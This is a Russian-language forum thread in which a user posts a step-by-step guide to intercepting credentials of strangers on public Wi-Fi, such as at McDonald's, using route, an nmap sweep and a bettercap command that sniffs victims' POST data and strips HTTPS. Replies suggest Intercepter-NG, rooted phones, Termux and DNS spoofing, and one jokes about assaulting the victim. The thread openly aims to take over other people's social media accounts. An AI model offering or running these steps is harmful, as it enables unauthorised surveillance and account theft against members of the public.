Bettercap HSTS BY PASS (Ломаем Вк в Макдональдсах)

[bogdanohacker]

Всем привет,сегодня расскажу как нормально спуффать юзеров в публичных Wi-Fi сетях

Без этого ебаного DNS спуффинга.

Если конечно нету VPN у юзера а то так не прокатит :D

Для начала надо понять в какой обоссаный Локальный IP у нашего Роутера

Пишем в терминале
________________________________
route -n
________________________________

Во вкладке Gateway IP роутера.

У меня 192.168.1.1

Дальше нужно понять какие клиенты есть на точке доступа.

__________________________________
nmap -sP IP/24
__________________________________

У вас будет клиентов дахера, но у меня только мой телефон :D

Дальше качаем bettercap (если нету)

______________________
apt-get install bettercap
______________________

Запускаем Сниффинг
______________________
bettercap -T IPжертвы --proxy -P POST
______________________

Теперь жуем Пиццу или что вы заказали и ждете :D

Профит ^_^

Потом сделаю тему, как заменить изображения на свои:)

 

[Macka]

Теперь упростим.Ставим root на свой смартфон,далее из Play Market скачиваем Network Utilities.Потом открываем приложение,выдаём root права,переходим во вкладку Sniffer включаем и радуемся жизни.

 

[bogdanohacker]

Теперь упростим.Ставим root на свой смартфон,далее из Play Market скачиваем Network Utilities.Потом открываем приложение,выдаём root права,переходим во вкладку Sniffer включаем и радуемся жизни.

Не получиться,так как он сниффает только обычные сертификаты HTTP а вот этот способ спуффает и защищенные сайты!

 

[bogdanohacker]

Так что лучше не морочить себе голову и прийти нормально с Kali и разьебенить все аккаунты :D

 

[Macka]

Не получиться,так как он сниффает только обычные сертификаты HTTP а вот этот способ спуффает и защищенные сайты!

только хотел проверить но вспомнил что сижу через VPN)

 

[bogdanohacker]

Ну как?Атака сработала?

 

[yarr]

Теперь упростим.Ставим root на свой смартфон,далее из Play Market скачиваем Network Utilities.Потом открываем приложение,выдаём root права,переходим во вкладку Sniffer включаем и радуемся жизни.

Поставить Intercepter-ng для Android. Или выполнить тоже самое, что сделал автор, но на Android(Kali есть для Android). Вообще для таких атак существует несколько программ под Android.

 

[Macka]

Поставить Intercepter-ng для Android. Или выполнить тоже самое, что сделал автор, но на Android(Kali есть для Android). Вообще для таких атак существует несколько программ под Android.

Intercepter-ng тоже у меня имеется)

 

[bogdanohacker]

Ебать я звезда,мою тему дохера просмотрели)P.S Шучу

 

[Kaiser]

Ну свой пароль я украсть смог, осталось самое сложно - выбраться из дома и нормально затестить

 

[softbloger]

А большинство людей сидят через приложения, их данные не перехватывает

 

[bogdanohacker]

Тогда DNS Spoof в помощь.

 

[DemWeb]

а можно установить root + Termux доложно работать

 

[svastonov]

а можно установить root + Termux доложно работать

да, работает

 

[Miron_T31]

А не проще установить Intercepter NG ?Ведь там и есть метод атаки SSL strip и он есть на Android

 

[yarr]

да, работает

тебя надо закопать обратно с этой темой, ты на дату сообщения посмотри, еба, збс тебе общаться с мертвым акком наверное...

 

[Apelsino]

Раз уж тут я увидел разные советы... Подойти и пиздануть в ебало жертве и дожрать его пиццу и спиздить телефон. Кхем...

 

[Annafadeeva39]

Раз уж тут я увидел разные советы... Подойти и пиздануть в ебало жертве и дожрать его пиццу и спиздить телефон. Кхем...

Слишком радикальный способ

 

[svastonov]

тебя надо закопать обратно с этой темой, ты на дату сообщения посмотри, еба, збс тебе общаться с мертвым акком наверное...

я говорю по факту, для тех кто обратится к этой статье